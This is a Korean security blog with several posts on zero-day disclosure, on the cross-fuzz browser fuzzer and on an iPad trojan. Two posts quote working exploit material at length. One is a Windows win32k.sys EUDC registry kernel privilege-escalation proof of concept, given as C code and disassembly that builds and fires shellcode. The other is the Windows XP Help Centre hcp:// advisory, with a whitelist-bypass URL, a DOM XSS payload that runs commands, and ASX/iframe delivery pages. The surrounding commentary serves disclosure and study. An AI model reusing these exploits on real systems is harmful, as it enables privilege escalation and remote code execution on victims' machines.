심각한 파급력을 가질 수 있는 보안 취약점을 발견 즉시 공개해야 할까요? 아니면, 개발사와 충분히 검토하여 문제점을 해결 또는 완화할 수 있는 방안(패치)를 마련한 다음 공개해야 할까요?

보통, 후자의 경우를 선택하는 경우가 많으며, 요즘은 인식이 많이 좋아져서 개발사에서도 적극적으로 대처하는 편입니다.

하지만, 작년 9월과 올 1월에 구글에서 근무하는 엔지니어가 새로운 제로데이 취약점을 공개해서 논란이 되고 있습니다. 앞에서 언급한 바와 같이 문제점의 해결책이 마련되지 않은 상태에서 공격이 가능한 코드(PoC, Proof of Concept)를 공개한 것이 논란의 발단입니다.

Lcamtuf와 Michael Zalewski는 자신들이 발견한 cross-fuzz라는 취약점을 이용하는 공격이 가능함을 시연하는 툴을 최근 공개했습니다.

1. Open two windows with documents of any (DOM-enabled) type. Simple HTML, XHTML, and SVG documents are randomly selected as targets by default - although any other, possibly plugin-supported formats could be targeted instead.
2. Crawl DOM hierarchy of the first document, collecting encountered object references for later reuse. Visited objects and collected references are tagged using an injected property to avoid infinite recursion; a secondary blacklist is used to prevent navigating away or descending into the master window. Critically, random shuffling and recursion fanout control are used to ensure good coverage.
3. Repeat DOM crawl, randomly tweaking encountered object properties by setting them to a one of the previously recorded references (or, with some probability, to one of a handful of hardcoded "interesting" values).
4. Repeat DOM crawl, randomly calling encountered object methods. Call parameters are synthesized using collected references and "interesting" values, as noted above. If a method returns an object, its output is subsequently crawled and tweaked in a similar manner.
5. Randomly destroy first document using one of the several possible methods, toggle garbage collection.
6. Perform the same set of crawl & tweak operations for the second document, but use references collected from the first document for overwriting properties and calling methods in the second one.
7. Randomly destroy document windows, carry over a percentage of collected references to the next fuzzing cycle.


이 취약점은 2010년 7월부터 제기된 것으로 그동안 인터넷 익스플로러, 파이어폭스 등과 같은 브라우저에서 발생하는 문제를 해결해 오고 있는 상태였으며, 이에 대한 정보는 아래를 참고하십시오.

Internet Explorer: MSRC notified in July 2010. Fuzzer known to trigger several clearly exploitable crashes (example stack trace) and security-relevant GUI corruption issues (XP-only, example). Reproducible, exploitable faults still present in current versions of the browser. I have reasons to believe that one of these vulnerabilities is known to third parties.

Comment: Vendor has acknowledged receiving the report in July (case 10205jr), but has not contacted me again until my final ping in December. Following that contact attempt, they were able to quickly reproduce multiple exploitable crashes, and asked for the release of this tool to be postponed indefinitely. Since they have not provided a compelling explanation as to why these issues could not have been investigated earlier, I refused; see this timeline for more.
All WebKit browsers: WebKit project notified in July 2010. About two dozen crashes identified and addressed in bug 42959 and related efforts by several volunteers. Relevant patches generally released with attribution in security bulletins. Some extremely hard-to-debug memory corruption problems still occurring on trunk.
Firefox: Mozilla notified in July 2010. Around 10 crashes addressed in bug 581539, with attribution in security bulletins where appropriate. Fuzzing approach subsequently rolled into Jesse Ruderman's fuzzing infrastructure under bug 594645 in September; from that point on, 50 additional bugs identified (generally with no specific attribution at patch time). Several elusive crashes still occurring on trunk. Bad read / write offset crashes in npswf32.dll can also be observed if the plugin is installed.
Opera: vendor notified in July 2010. Update provided in December states that Opera 11 fixed all the frequent crashes, and that a proper security advisory will be released at a later date (release notes list a placeholder statement: "fixed a high severity issue"). Several tricky crashes reportedly still waiting to be resolved.

재미있는 점은 마이크로소프트가 이 취약점을 해결하는 패치가 발표되기 전까지는 공격 코드의 발표를 연기해 달라고 요청했다는 점인데, 이 요청을 거부하고 공개했다는 것입니다. 

Michael Zalewski는 이러한 요청을 거부한 배경에는 이미 이 취약점을 이용하는 공격도구가 이미 인터넷 상에 존재하고 있다고 믿을 만한 근거가 있다고 밝혔습니다.


즉, 이미 인터넷 상에 취약점이 공개되어 공격자들이 이용하고 있는데, 해결책이 없다고 주저하는 것이 옳은 선택일까요? 아닐까요?

출처: http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html

 

reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

    이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

    PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

    다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


    위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

    아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

    1. Introduction
    2.  
    3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
    4.  
    5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
    6. Using the code
    7.  
    8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
    9. Collapse
    10. Collapse
    11.  
    12. .text:BF81BA91                 push    esi             ; Environment
    13. .text:BF81BA92                 push    esi             ; Context
    14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
    15. .text:BF81BA98                 push    edi             ; Path
    16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
    17. .text:BF81BA9C                 push    esi             ; RelativeTo
    18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
    19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
    20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
    21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
    22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
    23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
    24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
    25. .text:BF81BACE                 mov     dword_BFA198FC, esi
    26. .text:BF81BAD4                 mov     dword_BFA19900, esi
    27. .text:BF81BADA                 mov     dword_BFA19904, esi
    28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
    29. .text:BF81BAE6                 mov     [ebp+var_8], eax
    30.  
    31. Stack trace shows the calling process is as follows:
    32.  
    33. GDI32.EnableEUDC ->
    34. NtGdiEnableEudc ->
    35. GreEnableEUDC ->
    36. sub_BF81B3B4 ->
    37. sub_BF81BA0B ->
    38. RtlQueryRegistryValues (Overflow occurs)
    39.  
    40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
    41. Collapse
    42. Collapse
    43.  
    44. // Allocate buffer for the driver
    45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
    47.  
    48. BYTE* pMem;            // shellcode
    49. DWORD ExpSize = 0;
    50.  
    51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
    52.  
    53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
    55.  
    56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
    57.  
    58. ExpSize = 0x28;
    59.  
    60.  
    61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
    62. Collapse
    63. Collapse
    64.  
    65. // Get the running kernel file name
    66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
    67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
    68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
    69. ULONG AllocSize = 0;
    70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
    71.  
    72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
    73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
    74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
    75.  
    76. //Relocation to the running kernel base
    77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
    78.  
    79. free(pModInfo);
    80.  
    81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
    82. // so we need a valid pool address to avoid BSOD.
    83.  
    84. if(vi.dwBuildNumber < 7600)    
    85. {
    86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
    87.  
    88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
    89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
    90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
    91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
    92.  
    93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
    94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
    95.  
    96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
    97.     {
    98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
    99.         {
    100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
    101.             break;
    102.         }
    103.     }
    104.     free(pHandleInfo);
    105. }
    106. else
    107. {
    108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
    109. }
    110.  
    111. // Now fills the API addresses needed
    112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
    113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
    114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
    115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
    116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
    117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
    118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
    119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
    120. FreeLibrary(hKernel);
    121.  
    122. // Here we tell the shellcode(PE loader) where the driver buffer is.
    123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
    124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
    125.  
    126.  
    127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
    128. Collapse
    129. Collapse
    130.  
    131. UINT codepage = GetACP();
    132. TCHAR tmpstr[256];
    133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
    134. HKEY hKey;
    135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
    136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    137.  
    138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
    139.  
    140. __try
    141. {
    142.     EnableEUDC(TRUE);    
    143. }
    144. __except(1)
    145. {
    146. }
    147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    148. RegCloseKey(hKey);
    149.  
    150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
    151. Points of Interest
    152.  
    153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
    154. Additional Information
    155.  
    156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
    157. Windows Vista/2008 6.1.6000 x32,
    158. Windows Vista/2008 6.1.6001 x32,
    159. Windows 7 6.2.7600 x32,
    160. Windows 7/2008 R2 6.2.7600 x64.
    161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


    아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



    감사합니다.

    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      최근 아이폰을 대상으로 하는 악성 프로그램이 서서히 나오기 시작하고 있는 가운데, 보안 기업인 PandaLabs에서 아이패드에 대한 새로운 보고서가 발표되었습니다.

      아직 아이폰/아이패드는 해커들의 주요한 먹거리로 부각되지 않기 때문에 그리 많은 악성 프로그램이 출현하지는 않을 것으로 보이지만, 탈옥(JB, JailBreak)과 같이 보안을 사용자 스스로 무너뜨리는 경우에 이를 이용하는 악성 프로그램이 나타날 가능성이 높다고 볼 수 있습니다.

      아래 동영상은 아이폰에서 감염되는 Eeki.A 트로이목마가 아이패드에서도 동일하게 감염되는 것을 볼 수 있습니다.

      물론, 감염되는 이론을 시연(PoC, proof of concept)의 형태라고 치부할 수 있지만, 이러한 공격경로가 통한다는 것을 파악하기 시작한다면 더욱 더 아이폰을 겨냥하는 악성 프로그램이 출현할 것으로 예상됩니다.

      동일하게 감염되는 이유는 바로 같은 OS를 사용하기 때문으로 보이며, 아이패드가 많이 팔릴수록 그만큼 해킹이나 악성 프로그램의 출현이 더욱 높아질 것입니다.

      감사합니다.

      출처: http://www.webpronews.com/topnews/2010/06/23/malware-targeting-iphones-can-also-infect-ipads

      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        최근 윈도우 도움말 센터(Windows Help and Support Center)에 관련된 취약점이 공개되었고, 이를 이용하는 악성 코드의 구현 코드인 Poc(Proof of Concept)가 함께 공개되었습니다. 자세한 사항은 아래 링크를 참고하십시오.


        한편, 마이크로소프트의 악성프로그램 보호 센터에서는 이 공격 코드로 인해 약 1만개 이상의 PC가 공격을 받았으며, 공격받은 PC들은 미국, 러시아, 포르투칼, 독일, 브라질 등 다양한 국가였지만, 그 중에서도 러시아와 포르투칼에서 특히 심했습니다.

        처음 이 취약점을 공개한 사람은 구글의 엔지니어인 Travis Ormandy 딴에는 공격이 이렇게 진행될 수 있을 것이다 라고만 생각을 했을지 몰라도, 이 공격 코드를 본 나쁜 사람들은 바로 적용하는 모습을 보이게 되었습니다.

        한편, 시만텍에 따르면 이 취약점을 이용하는 공격은 6월 21일 처음 시작되어 26-7일 경에 가장 많이 발생했다고 합니다.

        가장 중요한 부분인 패치에 관해서 마이크로소프트는 7월 10일 정기 보안 업데이트에서 이 문제점을 해결할 것으로 알려져 있습니다.

        감사합니다.

        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          지난 6월 10일, 윈도우 XP 운영체제의 '도움말 센터' 기능에서 제로데이 취약점이 발견되어 알려졌으며, 이러한 취약점을 이용하는 공격코드를 구글에서 공개해 파장이 일고 있습니다.

          아래 글상자는 공개한 공격 코드입니다.

          Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
          ----------------------------------------------------------------------------
          
          Help and Support Centre is the default application provided to access online
          documentation for Microsoft Windows. Microsoft supports accessing help documents
          directly via URLs by installing a protocol handler for the scheme "hcp", 
          a typical example is provided in the Windows XP Command Line Reference,
          available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
          
          Using hcp:// URLs is intended to be safe, as when invoked via the registered
          protocol handler the command line parameter /fromhcp is passed to the help
          centre application. This flag switches the help centre into a restricted mode,
          which will only permit a whitelisted set of help documents and parameters.
          
          This design, introduced in SP2, is reasonably sound. A whitelist of trusted
          documents is a safe way of allowing interaction with the documentation from
          less-trusted sources. Unfortunately, an implementation error in the whitelist
          allows it to be evaded.
          
          URLs are normalised and unescaped prior to validation using
          MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
          escape sequences into their original characters, the relevant code from
          helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
          
          .text:0106684C Unescape:
          .text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
          .text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
          .text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
          .text:01066853        call    ds:wcslen            ; find the remaining length.
          .text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 
          xdigits.
          .text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
          .text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
          .text:01066861        mov     dl, cl
          .text:01066863        neg     dl
          .text:01066865        sbb     edx, edx
          .text:01066867        and     edx, 3
          .text:0106686A        inc     edx
          .text:0106686B        inc     edx
          .text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
          .text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
          .text:01066870        test    cl, cl
          .text:01066872        movzx   eax, word ptr [esi+2]
          .text:01066876        push    eax
          .text:01066877        jz      short NotUnicode
          .text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
          .text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape 
          sequence.
          .text:01066880        movzx   eax, word ptr [esi+4]
          .text:01066884        push    eax
          .text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. 
          total <<= 4;
          .text:01066888        call    HexToNum             
          .text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
          .text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
          .text:01066893        push    eax
          .text:01066894        shl     edi, 4
          .text:01066897        call    HexToNum
          .text:0106689C        or      edi, eax
          .text:0106689E        movzx   eax, word ptr [esi+8]
          .text:010668A2        push    eax
          .text:010668A3        shl     edi, 4
          .text:010668A6        call    HexToNum
          .text:010668AB        or      edi, eax
          .text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
          .text:010668B0        jmp     short FinishedEscape
          .text:010668B2
          .text:010668B2 NotUnicode:                             
          .text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, 
          instead of %u0041)
          .text:010668B7        mov     edi, eax
          .text:010668B9        movzx   eax, word ptr [esi]
          .text:010668BC        push    eax
          .text:010668BD        call    HexToNum
          .text:010668C2        shl     eax, 4
          .text:010668C5        or      edi, eax
          .text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
          .text:010668CA
          .text:010668CA FinishedEscape:
          .text:010668CA        test    di, di
          .text:010668CD        jz      short loc_10668DA
          .text:010668CF
          .text:010668CF LiteralChar:
          .text:010668CF        push    edi                  ; append the final value to the normalised string using a 
          std::string append.
          .text:010668D0        mov     ecx, [ebp+unescaped]
          .text:010668D3        push    1
          .text:010668D5        call    std::string::append
          .text:010668DA        mov     di, [esi]            ; fetch the next input character.
          .text:010668DD        test    di, di               ; have we reached the NUL terminator?
          .text:010668E0        jnz     Unescape             ; process next char.
          
          This code seems sane, but an error exists due to how MPC::HexToNum() handles
          error conditions, the relevant section of code is annotated below.
          
          .text:0102D32A        mov     edi, edi
          .text:0102D32C        push    ebp
          .text:0102D32D        mov     ebp, esp              ; function prologue.
          .text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
          .text:0102D332        cmp     eax, '0'
          .text:0102D335        jl      short CheckUppercase  ; is it a digit?
          .text:0102D337        cmp     eax, '9'
          .text:0102D33A        jg      short CheckUppercase
          .text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
          .text:0102D33F        jmp     short Complete   
          .text:0102D341 CheckUppercase:
          .text:0102D341        cmp     eax, 'A'
          .text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
          .text:0102D346        cmp     eax, 'F'
          .text:0102D349        jg      short CheckLowercase
          .text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
          .text:0102D34E        jmp     short Complete   
          .text:0102D350 CheckLowercase:
          .text:0102D350        cmp     eax, 'a'
          .text:0102D353        jl      short Invalid         ; lowercase xdigit?
          .text:0102D355        cmp     eax, 'f'
          .text:0102D358        jg      short Invalid    
          .text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
          .text:0102D35D        jmp     short Complete    
          .text:0102D35F Invalid:     
          .text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
          .text:0102D362 Complete:   
          .text:0102D362        pop     ebp
          .text:0102D363        retn    4
          
          Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
          MPC::HexToNum() as required, and therefore can be manipulated into appending
          unexpected garbage onto std::strings. This error may appear benign, but we can
          use the miscalculations produced later in the code to evade the /fromhcp
          whitelist.
          
          Assuming that we can access arbitrary help documents (full details of how the
          MPC:: error can be used to accomplish this will be explained below), we must
          identify a document that can be controlled purely from the URL used to access it.
          
          After browsing the documents available in a typical installation, the author
          concluded the only way to do this would be a cross site scripting error. After
          some careful searching, a candidate was discovered:
          
          hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
          
          This document is available in a default installation, and due to insufficient
          escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
          to a DOM-type XSS. However, the escaping routine will abort encoding if characters
          such as '=' or '"' or others are specified. 
          
          It's not immediately obvious that this error is still exploitable, simple
          tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
          isn't helpful as the code isn't evaluated again. In situations like this, the
          best course of action is to harass lcamtuf until he gives you the solution,
          which of course his encyclopaedic knowledge of browser security quirks produced
          immediately.
          
          <script defer>code</script>
          
          The defer property is an IE-ism which solves the problem, documented by
          Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
          Now that we are armed with knowledge of this trick, because these help
          documents are in a privileged zone, we can simply execute commands.
          
          You can test this with a command like so (assuming a recent IE):
          
          C:\> ver
          Microsoft Windows XP [Version 5.1.2600]
          C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script 
          defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
          C:\>
          
          While this is fun, this isn't a vulnerability unless an untrusted third party
          can force you to access it. Testing suggests that by default, accessing an
          hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
          other browsers) will result in a prompt. Although most users will click through
          this prompt (perfectly reasonable, protocol handlers are intended to be safe),
          it's not a particularly exciting attack.
          
          I've found a way to avoid the prompt in a default Windows XP installation in all
          major browsers, The solution is to invoke the protocol handler from within an
          <iframe> in an ASX HtmlView element. There are probably other ways.
          
          http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
          
          The version of Windows Media Player that is available by default in Windows XP
          is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
          content. Later versions also can be used, with some minor complications.
          
          Thus, the attack will look like this:
          
          $ cat simple.asx 
          <ASX VERSION="3.0">
          <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
          <ENTRY>
             <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
          </ENTRY>
          </ASX>
          
          Where starthelp.html contains something like:
          
          $ cat starthelp.html 
          <iframe src="hcp://...">
          
          Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
          
          $ cat launchurl.html 
          <html>
          <head><title>Testing HCP</title></head>
          <body>
            <h1>OK</h1>
            <script>
                  // HCP:// Vulnerability, Tavis Ormandy, June 2010.
                  var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;
          
                  if (window.navigator.appName == "Microsoft Internet Explorer") {
                      // Internet Explorer
                      var o = document.createElement("OBJECT");
                      o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
                      o.openPlayer(asx);
                  } else {
                      // Mozilla, Chrome, Etc.
                      var o = document.createElement("IFRAME");
                      o.setAttribute("src", asx);
                      document.body.appendChild(o);
                  }
            </script>
          </body>
          </html>
          
          Therefore, we have the following interactions between multiple complex systems
          chained together:
          
          - From an html page, email, document, or other application force a user to
            fetch a .ASX file containing an HtmlView element.
          - From the HtmlView element, invoke the hcp protocol handler that would normally
            require confirmation.
          - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
            string miscalculations caused by failing to check the return code of
            MPC::HexToNum().
          - Once the whitelist has been defeated, invoke the Help document with a known
            DOM XSS due to GetServerName() insufficient escaping.
          - Use the defer property of a script tag to execute script in a privileged zone
            even after the page has been rendered.
          - Invoke an arbitrary command using the wscript.shell object.
          
          Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
          whitelist took some analysis, but the result looks like the following.
          
          hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
          A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
          %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
          %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
          A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
          Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
          3C/script%3E
          
          --------------------
          Affected Software
          ------------------------
          
          At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
          is enhanced against IE >= 8 and other major browsers if Windows Media Player is
          available, but an installation is still vulnerable without it.
          
          Machines running version of IE less than 8 are, as usual, in even more trouble.
          
          In general, choice of browser, mail client or whatever is not relevant, they
          are all equally vulnerable.
          
          --------------------
          Consequences
          -----------------------
          
          Upon successful exploitation, a remote attacker is able to execute arbitrary
          commands with the privileges of the current user.
          
          I've prepared a demonstration for a typical Windows XP installation with
          Internet Explorer 8, and the default Windows Media Player 9.
          
          http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html
          
          In IE7 on Windows XP, just visiting this URL should be sufficient:
          
          http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html
          
          Some minor modifications will be required to target other configurations, this
          is simply an attempt to demonstrate the problem. I'm sure the smart guys at
          metasploit will work on designing reliable attacks, as security professionals
          require these to do their jobs.
          
          Additionally, my demonstration is not intended to be stealthy, a real
          attack would barely be noticable to the victim. Perhaps the only unavoidable
          signal would be the momentary appearance of the Help Centre window before the
          attacker hides it. There are multiple trivial techniques that can be used to
          accomplish this.
          
          Browsers are useful to demonstrate the problem, but there are certainly other
          attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
          be used across applications.
          
          -------------------
          Mitigation
          -----------------------
          
          If you believe you may be affected, you should consider applying one of the
          workarounds described below.
          
